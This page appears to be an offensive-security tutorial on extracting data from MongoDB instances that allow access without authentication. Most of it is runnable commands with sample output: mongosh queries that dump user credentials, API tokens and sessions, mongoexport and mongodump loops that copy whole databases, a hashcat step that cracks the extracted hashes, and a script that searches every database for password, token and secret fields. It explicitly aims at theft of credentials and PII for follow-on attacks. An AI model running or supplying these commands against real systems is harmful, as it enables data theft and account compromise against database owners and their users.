Skip to content
HackIndex logo

HackIndex

MongoDB Unauthenticated Data Extraction

3 min read Mar 28, 2026

Unauthenticated MongoDB access gives direct read access to all collections across all databases. The extraction goal is to pull high-value data efficiently — credentials, session tokens, API keys, and PII — then stage it for reporting and follow-on attacks. Confirm unauthenticated access first through unauthenticated access testing before running bulk extraction.

Quick Collection Sample

Before bulk dumping, pull one document from each high-value collection to confirm content and structure:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.users.findOne())' 
{
  _id: ObjectId('507f1f77bcf86cd799439011'),
  username: 'admin',
  password: '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN',
  email: '[email protected]',
  role: 'administrator',
  api_key: 'sk-prod-xK2aB1cD3eF4'
}

Extract All Credentials from Users Collection

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.users.find({},{username:1,password:1,email:1,role:1,_id:0}).forEach(u => print(JSON.stringify(u)))' | tee /tmp/mongo_users.json 
{"username":"admin","password":"$2b$12$LQv3...","email":"[email protected]","role":"administrator"}
{"username":"editor","password":"$2b$12$abc...","email":"[email protected]","role":"editor"}

Crack extracted bcrypt hashes with hashcat mode 3200. MD5 hashes use mode 0, SHA1 uses mode 100:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/mongo_users.json | python3 -c "import sys,json; [print(json.loads(l).get('password','')) for l in sys.stdin]" > /tmp/mongo_hashes.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 /tmp/mongo_hashes.txt /usr/share/wordlists/rockyou.txt

Extract API Tokens and Session Data

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.api_tokens.find({},{_id:0}).forEach(t => print(JSON.stringify(t)))' 
{"user_id":"admin","token":"sk-prod-xK2aB1cD3eF4gH5i","created":"2026-01-01","scope":"admin"}
{"user_id":"editor","token":"sk-prod-qR1sT2uV3wX4y","created":"2026-01-15","scope":"write"}
┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.sessions.find({},{_id:0,user:1,token:1,expires:1}).forEach(s => print(JSON.stringify(s)))' | head -20

Dump Full Database with mongoexport

mongoexport produces clean JSON output per collection suitable for offline analysis and reporting:

mkdir -p /tmp/mongo_dump/$TARGET_IP
for col in users sessions api_tokens orders; do
  mongoexport --host $TARGET_IP --port 27017 --db appdb --collection $col --out /tmp/mongo_dump/$TARGET_IP/${col}.json 2>/dev/null
  echo "$col: $(wc -l < /tmp/mongo_dump/$TARGET_IP/${col}.json) documents"
done
┌──(kali㉿kali)-[~]
└─$ ./script.sh 
users: 47 documents
sessions: 312 documents
api_tokens: 23 documents
orders: 8492 documents

Dump All Databases with mongodump

mongodump creates BSON archives of every database. Use this for a complete dump when you need everything:

┌──(kali㉿kali)-[~]
└─$ mongodump --host $TARGET_IP --port 27017 --out /tmp/mongo_dump/$TARGET_IP/full/ 2>&1 | tail -5 
done dumping appdb.users (47 documents)
done dumping appdb.api_tokens (23 documents)
done dumping admin.system.users (3 documents)

The admin.system.users collection in the dump contains MongoDB user credentials including SCRAM-SHA password hashes — useful for credential reuse and offline cracking even if the plaintext application passwords are already obtained.

Search All Collections for Sensitive Keywords

When collection names are non-obvious, search across all databases for fields containing credential patterns:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
if (["local","config"].includes(d.name)) return;
var dbo = db.getSiblingDB(d.name);
dbo.getCollectionNames().forEach(function(c) {
var doc = dbo[c].findOne({$or:[{password:{$exists:true}},{token:{$exists:true}},{api_key:{$exists:true}},{secret:{$exists:true}}]});
if (doc) print(d.name+"."+c+": "+JSON.stringify(doc).substring(0,200));
});
})' 
appdb.users: {"username":"admin","password":"$2b$12$LQv..."
appdb.api_tokens: {"user_id":"admin","token":"sk-prod-xK2.."

References